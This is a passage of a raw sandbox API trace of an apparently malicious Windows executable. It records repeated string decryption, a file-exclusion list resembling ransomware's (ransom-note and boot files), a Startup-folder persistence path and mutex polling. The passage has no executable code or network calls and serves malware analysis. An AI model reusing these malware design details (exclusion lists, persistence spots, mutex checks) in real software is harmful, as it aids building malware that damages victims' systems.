dwFlags=0x0) returned 1 [0131.826] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf185c8, pdwDataLen=0x6ffa40 | out: pbData=0xf185c8, pdwDataLen=0x6ffa40) returned 1 [0131.826] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11230 [0131.826] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa84 | out: phKey=0x6ffa84*=0x7395a8) returned 1 [0131.826] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa6c, dwFlags=0x0) returned 1 [0131.826] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffa38 | out: pbData=0xf11230, pdwDataLen=0x6ffa38) returned 1 [0131.826] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18670 [0131.826] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa7c | out: phKey=0x6ffa7c*=0x739068) returned 1 [0131.826] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x6ffa64, dwFlags=0x0) returned 1 [0131.826] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18670, pdwDataLen=0x6ffa30 | out: pbData=0xf18670, pdwDataLen=0x6ffa30) returned 1 [0131.826] CryptDestroyKey (hKey=0x739068) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x70) returned 0xf15280 [0131.826] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa74 | out: phKey=0x6ffa74*=0x7393e8) returned 1 [0131.826] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0x6ffa5c, dwFlags=0x0) returned 1 [0131.826] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0x6ffa28 | out: pbData=0xf15280, pdwDataLen=0x6ffa28) returned 1 [0131.826] CryptDestroyKey (hKey=0x7393e8) returned 1 [0131.826] htonl (hostlong=0xb4197730) returned 0x307719b4 [0131.826] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x20, pbBuffer=0x6ffb68 | out: pbBuffer=0x6ffb68) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x28) returned 0xf112c8 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18568 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4) returned 0xf152f8 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x14) returned 0xf11508 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18520 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x80) returned 0xf153e8 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18610 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x82) returned 0xf15470 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18598 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4) returned 0xf18c40 [0131.826] CryptGenRandom (in: hProv=0x731fd8, dwLen=0x55, pbBuffer=0x6ffad2 | out: pbBuffer=0x6ffad2) returned 1 [0131.826] GetLastError () returned 0x0 [0131.827] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa6c | out: phKey=0x6ffa6c*=0x739068) returned 1 [0131.827] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x6ffa54, dwFlags=0x0) returned 1 [0131.827] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18cf0, pdwDataLen=0x6ffa20 | out: pbData=0xf18cf0, pdwDataLen=0x6ffa20) returned 1 [0131.827] CryptDestroyKey (hKey=0x739068) returned 1 [0131.827] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18610 [0131.827] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa64 | out: phKey=0x6ffa64*=0x7392e8) returned 1 [0131.827] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffa4c, dwFlags=0x0) returned 1 [0131.827] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18610, pdwDataLen=0x6ffa18 | out: pbData=0xf18610, pdwDataLen=0x6ffa18) returned 1 [0131.827] CryptDestroyKey (hKey=0x7392e8) returned 1 [0131.827] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf1a440 [0131.827] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa3c | out: phKey=0x6ffa3c*=0x739128) returned 1 [0131.827] CryptSetKeyParam (hKey=0x739128, dwParam=0x1, pbData=0x6ffa24, dwFlags=0x0) returned 1 [0131.827] CryptDecrypt (in: hKey=0x739128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf1a440, pdwDataLen=0x6ff9f0 | out: pbData=0xf1a440, pdwDataLen=0x6ff9f0) returned 1 [0131.827] CryptDestroyKey (hKey=0x739128) returned 1 [0131.827] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x84) returned 0xf1a4d8 [0131.827] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x84) returned 0xf1a568 [0131.827] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf1a5f8 [0131.827] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa14 | out: phKey=0x6ffa14*=0x7393e8) returned 1 [0131.827] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0x6ff9fc, dwFlags=0x0) returned 1 [0131.828] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf1a5f8, pdwDataLen=0x6ff9c8 | out: pbData=0xf1a5f8, pdwDataLen=0x6ff9c8) returned 1 [0131.828] CryptDestroyKey (hKey=0x7393e8) returned 1 [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a5f8 | out: hHeap=0xf10000) returned 1 [0131.828] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xf1a4d8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a568 | out: hHeap=0xf10000) returned 1 [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a440 | out: hHeap=0xf10000) returned 1 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf112c8 [0131.828] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa38 | out: phKey=0x6ffa38*=0x7395a8) returned 1 [0131.828] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa20, dwFlags=0x0) returned 1 [0131.828] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf112c8, pdwDataLen=0x6ff9ec | out: pbData=0xf112c8, pdwDataLen=0x6ff9ec) returned 1 [0131.828] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x18) returned 0xf11508 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x18) returned 0xf15570 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf1a440 [0131.828] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa10 | out: phKey=0x6ffa10*=0x7395a8) returned 1 [0131.828] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ff9f8, dwFlags=0x0) returned 1 [0131.828] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf1a440, pdwDataLen=0x6ff9c4 | out: pbData=0xf1a440, pdwDataLen=0x6ff9c4) returned 1 [0131.828] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a440 | out: hHeap=0xf10000) returned 1 [0131.828] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xf11508, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15570 | out: hHeap=0xf10000) returned 1 [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c8 | out: hHeap=0xf10000) returned 1 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf1a568 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf1a780 [0131.828] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf1a780, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0131.828] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf1a780 | out: hHeap=0xf10000) returned 1 [0131.828] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xb38) returned 0xf1a780 [0131.828] GetLastError () returned 0x0 [0131.829] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xffffffff) Thread: id = 181 os_tid = 0xf40 Thread: id = 182 os_tid = 0xf44 [0126.652] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0126.653] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x7390a8) returned 1 [0126.653] CryptSetKeyParam (hKey=0x7390a8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0126.653] CryptDecrypt (in: hKey=0x7390a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0126.653] CryptDestroyKey (hKey=0x7390a8) returned 1 [0126.653] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11340 [0126.653] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf11368 [0126.653] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11390 [0126.653] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7393e8) returned 1 [0126.653] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0126.653] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11390, pdwDataLen=0xedfc40 | out: pbData=0xf11390, pdwDataLen=0xedfc40) returned 1 [0126.653] CryptDestroyKey (hKey=0x7393e8) returned 1 [0126.653] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11390 | out: hHeap=0xf10000) returned 1 [0126.653] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf11340, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0126.653] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11368 | out: hHeap=0xf10000) returned 1 [0126.653] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.653] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.653] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.653] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11340 [0126.653] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x7397a8) returned 1 [0126.653] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0126.653] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11340, pdwDataLen=0xedfc9c | out: pbData=0xf11340, pdwDataLen=0xedfc9c) returned 1 [0126.653] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.654] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf11388 [0126.654] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x224 [0126.654] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0126.654] CloseHandle (hObject=0x224) returned 1 [0126.654] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.654] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11388 | out: hHeap=0xf10000) returned 1 [0126.654] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0126.654] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x7391e8) returned 1 [0126.654] CryptSetKeyParam (hKey=0x7391e8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0126.654] CryptDecrypt (in: hKey=0x7391e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0126.654] CryptDestroyKey (hKey=0x7391e8) returned 1 [0126.654] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11340 [0126.654] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf11368 [0126.654] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11390 [0126.654] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7392e8) returned 1 [0126.654] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0126.654] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11390, pdwDataLen=0xedfc40 | out: pbData=0xf11390, pdwDataLen=0xedfc40) returned 1 [0126.654] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.654] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11390 | out: hHeap=0xf10000) returned 1 [0126.654] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf11340, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0126.654] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11368 | out: hHeap=0xf10000) returned 1 [0126.654] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.654] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.655] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.655] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11340 [0126.655] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x7393e8) returned 1 [0126.655] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0126.655] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11340, pdwDataLen=0xedfc9c | out: pbData=0xf11340, pdwDataLen=0xedfc9c) returned 1 [0126.655] CryptDestroyKey (hKey=0x7393e8) returned 1 [0126.655] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf11388 [0126.655] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x224 [0126.655] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0126.655] CloseHandle (hObject=0x224) returned 1 [0126.655] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.655] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11388 | out: hHeap=0xf10000) returned 1 [0126.655] Sleep (dwMilliseconds=0x3e8) [0127.667] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0127.667] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x739068) returned 1 [0127.667] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0127.667] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0127.667] CryptDestroyKey (hKey=0x739068) returned 1 [0127.667] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf112c0 [0127.667] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf114d8 [0127.667] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0127.667] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7395a8) returned 1 [0127.667] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0127.667] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0xedfc40 | out: pbData=0xf15280, pdwDataLen=0xedfc40) returned 1 [0127.667] CryptDestroyKey (hKey=0x7395a8) returned 1 [0127.667] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0127.667] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf112c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0127.667] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0127.667] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0127.667] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0127.667] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c0 | out: hHeap=0xf10000) returned 1 [0127.667] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11298 [0127.667] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x739128) returned 1 [0127.667] CryptSetKeyParam (hKey=0x739128, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0127.667] CryptDecrypt (in: hKey=0x739128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc9c | out: pbData=0xf11298, pdwDataLen=0xedfc9c) returned 1 [0127.667] CryptDestroyKey (hKey=0x739128) returned 1 [0127.667] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf114d8 [0127.668] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x284 [0127.668] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0127.668] CloseHandle (hObject=0x284) returned 1 [0127.668] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0127.668] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0127.668] Sleep (dwMilliseconds=0x3e8) [0128.683] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0128.683] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x7397a8) returned 1 [0128.683] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0128.683] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0128.683] CryptDestroyKey (hKey=0x7397a8) returned 1 [0128.683] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf112c0 [0128.683] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf114d8 [0128.683] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0128.683] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7393e8) returned 1 [0128.683] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0128.683] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0xedfc40 | out: pbData=0xf15280, pdwDataLen=0xedfc40) returned 1 [0128.683] CryptDestroyKey (hKey=0x7393e8) returned 1 [0128.683] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0128.683] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf112c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0128.684] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0128.684] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0128.684] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xedfcf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xedfcf4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0128.684] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c0 | out: hHeap=0xf10000) returned 1 [0128.684] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11298 [0128.684] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc80, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfce8 | out: phKey=0xedfce8*=0x7397a8) returned 1 [0128.684] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0xedfcd0, dwFlags=0x0) returned 1 [0128.684] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc9c | out: pbData=0xf11298, pdwDataLen=0xedfc9c) returned 1 [0128.684] CryptDestroyKey (hKey=0x7397a8) returned 1 [0128.684] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf114d8 [0128.684] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x284 [0128.684] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0128.684] CloseHandle (hObject=0x284) returned 1 [0128.684] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0128.684] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0128.684] Sleep (dwMilliseconds=0x3e8) [0129.763] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0129.763] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfcb4 | out: phKey=0xedfcb4*=0x7395a8) returned 1 [0129.763] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0xedfc9c, dwFlags=0x0) returned 1 [0129.763] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0xedfc68 | out: pbData=0xf11298, pdwDataLen=0xedfc68) returned 1 [0129.763] CryptDestroyKey (hKey=0x7395a8) returned 1 [0129.763] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf112c0 [0129.763] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf114d8 [0129.763] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15280 [0129.763] CryptImportKey (in: hProv=0x7268e0, pbData=0xedfc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xedfc8c | out: phKey=0xedfc8c*=0x7393e8) returned 1 [0129.763] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0xedfc74, dwFlags=0x0) returned 1 [0129.763] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0xedfc40 | out: pbData=0xf15280, pdwDataLen=0xedfc40) returned 1 [0129.763] CryptDestroyKey (hKey=0x7393e8) returned 1 [0129.763] 